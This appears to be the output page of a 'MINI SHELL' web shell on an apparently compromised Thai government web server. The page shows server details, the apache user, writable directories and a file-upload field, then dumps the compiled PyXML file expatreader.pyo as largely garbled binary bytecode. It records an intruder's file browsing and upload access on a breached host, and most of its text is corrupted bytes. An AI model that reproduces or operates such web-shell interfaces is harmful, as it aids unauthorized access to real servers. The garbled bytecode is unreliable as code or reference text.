MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/sax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/sax/expatreader.pyo
mò
ÚðCc@sdZdZdkTdklZlZdklZdklZlZdkl	Z	dkl
Z
lZdkZei
d	 d
joedeƒ‚n[ydklZWn"ej
oed
eƒ‚n&Xeedƒoed
eƒ‚ndklZlZlZeiZeiZy
dkZWnej
od„ZnXdkZeiZ[[deifd„ƒYZdei eifd„ƒYZ!d„Z"e#djoOdkZ$e"ƒZ%e%i&e$i'i(ƒƒe%i)e$i'i*ƒƒe%i+dƒndS(s]
SAX driver for the pyexpat C module.  This driver works with
pyexpat.__version__ == '2.22'.
s0.20(t*(sfeature_validationsfeature_namespaces(sfeature_namespace_prefixes(sfeature_external_gessfeature_external_pes(sfeature_string_interning(sproperty_xml_stringsproperty_interning_dictNitjavasexpat not available in Java(sexpatsexpat not supportedtParserCreate(s	xmlreaderssaxutilsshandlercCs|S(N(to(R((t</usr/lib/python2.4/site-packages/_xmlplus/sax/expatreader.pyt_mkproxy'stExpatLocatorcBs;tZdZd„Zd„Zd„Zd„Zd„ZRS(s¼Locator for use with the ExpatParser class.

    This uses a weak reference to the parser object to avoid creating
    a circular reference between the parser and the content handler.
    cCst|ƒ|_dS(N(Rtparsertselft_ref(RR((Rt__init__6scCs+|i}|idjodSn|iiS(N(RR	Rt_parsertNonetErrorColumnNumber(RR((RtgetColumnNumber9s	cCs+|i}|idjodSn|iiS(Ni(RR	RRRtErrorLineNumber(RR((Rt
getLineNumber?s	cCs+|i}|djodSn|iiƒS(N(RR	RRt_sourcetgetPublicId(RR((RREs	
cCs+|i}|djodSn|iiƒS(N(RR	RRRtgetSystemId(RR((RRKs	
(t__name__t
__module__t__doc__R
RRRR(((RR0s				tExpatParsercBs-tZdZddddd„Zd„Zd„Zd„Zd	„Zd
„Zd„Z	d„Z
dd
„Zd„Zd„Z
d„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd „Zd!„Zd"„Z RS(#s$SAX driver for the pyexpat C module.iiiicCsntii||ƒtiƒ|_d|_||_
d|_d|_g|_
d|_d|_d|_dS(Nii(t	xmlreadertIncrementalParserR
RtbufsizetInputSourceRRRtnamespaceHandlingt_namespacest_lex_handler_propt_parsingt
_entity_stackt
_external_gest
_interningt_namespace_prefixes(RRR((RR
Ws							cCsŒti|ƒ}||_|iƒ|iit|ƒƒzt	i
i||ƒWd|io+|ii
|_|ii|_d|_nXdS(s3Parse an XML document from a URL or an InputSource.N(tsaxutilstprepare_input_sourcetsourceRRtresett
_cont_handlertsetDocumentLocatorRRRtparseRR
t
_ColumnNumberRt_LineNumberR(RR&((RR*es	

cCs1|iƒdjo|ii|iƒƒndS(N(R&RRRRtSetBase(RR&((Rt
prepareParserwscCs/tii||ƒ|io|iƒndS(N(RRtsetContentHandlerRthandlerRt_reset_cont_handler(RR0((RR/}s
cCs•|tjo|iSnj|tjo|idj	SnL|tjo|iSn4|t	t
fjodSn|tjo|iSnt
d|ƒ‚dS(NisFeature '%s' not recognized(tnametfeature_namespacesRRtfeature_string_interningR"Rtfeature_namespace_prefixesR#tfeature_validationtfeature_external_pestfeature_external_gesR!tSAXNotRecognizedException(RR2((Rt
getFeature‚s



cCs|iotdƒ‚n|tjo
||_n×|tjo
||_n½|t	jo5|o!|i
djo
h|_
qŒq
d|_
n{|tjo
||_
na|tjo|otdƒ‚q
n9|tjo|otdƒ‚q
ntd|ƒ‚dS(Ns!Cannot set features while parsings!expat does not support validations/expat does not read external parameter entitiessFeature '%s' not recognized(RRtSAXNotSupportedExceptionR2R3tstateRR8R!R4R"RR5R#R6R7R9(RR2R<((Rt
setFeatures(










cCs¢|tijo|iSnt|tjo|iSn\|tjoN|io4t	|idƒo|ii
ƒSqŠtdƒ‚qŽtdƒ‚ntd|ƒ‚dS(NtGetInputContexts=This version of expat does not support getting the XML strings.XML string cannot be returned when not parsingsProperty '%s' not recognized(
R2R0tproperty_lexical_handlerRRtproperty_interning_dictR"tproperty_xml_stringRthasattrR>R9R;(RR2((RtgetProperty«s


cCs„|tijo%||_|io|iƒq€nL|tjo
||_	n2|t
jotd|ƒ‚ntd|ƒ‚dS(NsProperty '%s' cannot be setsProperty '%s' not recognized(
R2R0R?tvalueRRRt_reset_lex_handler_propR@R"RAR;R9(RR2RD((RtsetProperty½s	



cCs’|ip$|iƒd|_|iiƒny|ii||ƒWnFt	i
j
o7}tt	i
|iƒ||ƒ}|ii|ƒnXdS(Ni(RRR'R(t
startDocumentRtParsetdatatisFinaltexpatterrortetSAXParseExceptiontErrorStringtcodetexct_err_handlert
fatalError(RRIRJRMRQ((RtfeedÍs

	cCsH|iodSn|idddƒ|iiƒd|_d|_dS(NtRJii(RR RTR(tendDocumentRRR(R((RtcloseÞs

	cCs(|ii|i_|ii|i_dS(N(RR(tprocessingInstructionRtProcessingInstructionHandlert
characterstCharacterDataHandler(R((RR1èscCs|i}|i}|djo1d|_d|_d|_d|_	d|_
n=|i|_|i|_|i
|_|i|_	|i|_
dS(N(RRtlexRRRtCommentHandlertStartCdataSectionHandlertEndCdataSectionHandlertStartDoctypeDeclHandlertEndDoctypeDeclHandlertcommentt
startCDATAtendCDATAtstart_doctype_decltendDTD(RR\R((RREís		
				
cCsT|ioCtiddƒ|_d|i_|i|i_|i	|i_
n.tiƒ|_|i|i_|i|i_
|i
ƒ|i|i_|i|i_|i|i_|i|i_d|_|io|iƒn|i|i_y|i|i_Wntj
onX|iitiƒd|_ g|_!d|_"d|_#dS(Nt ii($RRRKRRRtnamespace_prefixeststart_element_nstStartElementHandlertend_element_nstEndElementHandlert
start_elementtend_elementR1tunparsed_entity_decltUnparsedEntityDeclHandlert
notation_decltNotationDeclHandlertstart_namespace_decltStartNamespaceDeclHandlertend_namespace_decltEndNamespaceDeclHandlert_decl_handler_propRREtexternal_entity_reftExternalEntityRefHandlertskipped_entity_handlertSkippedEntityHandlertAttributeErrortSetParamEntityParsingt*XML_PARAM_ENTITY_PARSING_UNLESS_STANDALONERR R+R,(R((RR'ýs4

	
			cCs%|idjo|iSn|iiS(N(RRRR+R
(R((RR%scCs%|idjo|iSn|iiS(N(RRRR,R(R((RR*scCs
|iiƒS(N(RRR(R((RR/scCs
|iiƒS(N(RRR(R((RR2scCs|ii|t|ƒƒdS(N(RR(tstartElementR2tAttributesImpltattrs(RR2R((RRm6scCs|ii|ƒdS(N(RR(t
endElementR2(RR2((RRn9sc
Cs||iƒ}
t|
ƒdjo|}	d|f}
nZt|
ƒdjo0d|
d|
df}	|
d|
df}
n|
d}	t|
ƒ}
h}h}x¼|i
ƒD]®\}}|iƒ}t|ƒ}|djo|}d|f}nT|djo0d|d|df}|d|df}n|d}t|ƒ}|||<|||<q§W|ii|
|	t||ƒƒdS(Niis%s:%sii(R2tsplittpairtlent
elem_qnameRttupletnewattrstqnamesRtitemstanameRDtpartstlengthtqnametapairRR(tstartElementNStAttributesNSImpl(
RR2RRDR‰RŽRRŒRR†R„R‹Rˆ((RRi<s6





cCs}|iƒ}t|ƒdjod|f}n8t|ƒdjo|d|df}n
t|ƒ}|ii|dƒdS(Niii(	R2RƒR„R…RR‡RR(tendElementNS(RR2R„((RRkbscCs|ii||ƒdS(N(RR(RXttargetRI(RR“RI((Rtprocessing_instructionnscCs|ii|ƒdS(N(RR(RZRI(RRI((Rtcharacter_datarscCs|ii||ƒdS(N(RR(tstartPrefixMappingtprefixturi(RR—R˜((RRsuscCs|ii|ƒdS(N(RR(tendPrefixMappingR—(RR—((RRuxscCs|ii|||ƒdS(N(RRtstartDTDR2tpubidtsysid(RR2RœR›thas_internal_subset((RRe{scCs|ii||||ƒdS(N(Rt_dtd_handlertunparsedEntityDeclR2R›Rœt
notation_name(RR2tbaseRœR›R ((RRo~scCs|ii|||ƒdS(N(RRžtnotationDeclR2R›Rœ(RR2R¡RœR›((RRqscCsÏ|ipdSn|ii||ƒ}ti||i	i
ƒpdƒ}|ii|i
|i	fƒ|i
i|ƒ|_
||_	ytii||ƒWndSnX|id\|_
|_	|id=dS(NiRUiiÿÿÿÿ(RR!t_ent_handlert
resolveEntityR›RœR&R$R%RRR tappendRtExternalEntityParserCreatetcontextRRR*(RR§R¡RœR›R&((RRx„s
		
cCs)|od|}n|ii|ƒdS(Nt%(tis_peR2RR(t
skippedEntity(RR2R©((RRzšs(!RRRR
R*R.R/R:R=RCRFRTRWR1RER'RRRRRmRnRiRkR”R•RsRuReRoRqRxRz(((RRTs>				
				
			(							&									cOstt||ƒS(N(tapplyRtargstkwargs(R¬R­((Rt
create_parser¢st__main__s../../../hamlet.xml(,Rtversiontxml.sax._exceptionstxml.sax.handlerR6R3R5R8R7R4RAR@tsystplatformtSAXReaderNotAvailableRtxml.parsersRKtImportErrorRBtxml.saxRR$R0R€R‘t_weakrefRtweakreftproxytLocatorRRRR®RtxmltpR/tsaxtXMLGeneratortsetErrorHandlertErrorHandlerR*(R°RKR3R‘RºR4R0R€R5R6R½R®R³R7RRR$R@R¹RRRAR¾R8((Rt?sJ

			
		$ÿO	
		

Anon7 - 2021